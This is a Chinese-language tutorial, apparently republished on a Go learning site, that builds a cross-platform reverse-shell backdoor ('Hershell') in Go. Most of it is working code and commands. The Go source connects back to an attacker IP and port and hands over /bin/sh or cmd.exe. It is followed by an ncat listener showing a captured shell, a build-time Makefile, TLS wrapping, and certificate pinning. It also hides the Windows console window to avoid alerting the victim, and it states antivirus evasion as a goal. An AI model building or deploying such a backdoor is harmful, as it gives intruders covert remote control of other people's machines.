go语言可不可以做渗透测试
来源:亿速云
时间:2023-03-02 12:06:47 207浏览 收藏
本篇文章给大家分享《go语言可不可以做渗透测试》,覆盖了Golang的常见基础知识,其实一个语言的全部知识点一篇文章是不可能说完的,但希望通过这些问题,让读者对自己的掌握程度有一定的认识(B 数),从而弥补自己的不足,更好的掌握它。
本篇内容主要讲解“go语言可不可以做渗透测试”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“go语言可不可以做渗透测试”吧!
go语言可以做渗透测试。Go在不需要任何外部依赖项的情况下执行交叉编译非常容易。得益于标准库,一个Go二进制文件包含了在目标体系结构上执行的所有必需的代码;因此,Go语言应该可以很容易地从相同的源代码中为多种平台构建二进制文件。
什么是渗透测试
渗透测试,是一项在计算机系统上进行的授权模拟攻击,旨在对其安全性进行评估,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。
go语言可以做渗透测试
下面通过实例来介绍一下:编写反弹后门 Hershell
在渗透测试过程中,一个必备的工具是众所周知的、超级棒的Metasploit框架。
该环境包含大量的payload、编码器和其他工具。在这些payload中Meterpreter有重要意义:它是一个经过开发和后开发命令的修改版的shell。由于其强大的攻击特性,该shell可能是最常用到的。
Meterpreter的问题
不幸的是,Meterpreter的流行有一个缺点:大多数反病毒和基于签名的解决方案都能检测到它。通常在渗透测试过程中,一个含有Meterpreter payload的二进制文件会被检测到,并被发送进行隔离。
另一个问题可能是缺乏对特定目标体系结构的支持(例如,BSD),迫使我们开发自己的后门。
上述这些问题促使我们编写Hershell。该项目的目标是提供一个基于单一的源代码的reverse shell payload,它可以跨平台,并且不被杀毒软件所发现。
我们使用Go语言开发,它是一种由Google开发的编译语言。
为什么使用GO语言?
现今,Python可能是编写脚本甚至完成应用程序最流行的语言,尤其是在安全领域。那么我们为什么要学习一门新的语言呢?
Go比Python或其他语言具有一种优势:在不需要任何外部依赖项的情况下执行交叉编译非常容易。得益于标准库,一个Go二进制文件包含了在目标体系结构上执行的所有必需的代码。因此,Go语言应该可以很容易地从相同的源代码中为多种平台构建二进制文件。
目标
在构建这段代码时,我们想要实现以下目标:
payload类型是reverse shell; 得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload; 容易配置; 加密通信; 绕过大多数反病毒检测引擎。
环境准备
从你最喜欢的发行版中安装Go包,或者从官方网站下载。
一旦安装完毕,我们需要配置环境。我们创建一个dev目录,该目录将是源、库和构建二进制文件的根:
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
该目录遵循下面的计划:
bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。
我的第一个reverse shell
首先,使用Go语言创建一个简单的TCP reverse shell。
这里是一个完整的注释版本,而不是逐行注释代码。
// filename: tcp.go
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "192.168.0.23:2233")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
首先,我们使用net.Dial建立一个到远程服务器的连接。Go标准库的net包是基于TCP或UDP网络通信的一个抽象层。
了解更多关于如何使用一个包、文档(go doc)很有帮助:
$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
让我们回到脚本。
一旦建立了连接(如果失败了,程序就停止了),我们将创建一个进程(类型为exec.Cmd的对象),这要归功于exec.Command函数。所有输入和输出(stdout、stdin和stderr)都被重定向到连接,并启动进程。
然后我们可以编行该文件:
$ go build tcp.go
$ ./tcp
现在,我们需要开启侦听器:
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd
import net
...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
到此,相信大家对“go语言可不可以做渗透测试”有了更深的了解,不妨来实际操作一番吧!这里是golang学习网,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
以上就是本文的全部内容了,是否有顺利帮助你解决问题?若是能给你带来学习上的帮助,请大家多多支持golang学习网!更多关于Golang的相关知识,也可关注golang学习网公众号。
-
185 收藏
-
460 收藏
-
430 收藏
-
450 收藏
-
320 收藏
-
290 收藏
-
239 收藏
-
381 收藏
-
168 收藏
-
500 收藏
-
355 收藏
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 立即学习 542次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 立即学习 507次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 立即学习 497次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 立即学习 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 立即学习 484次学习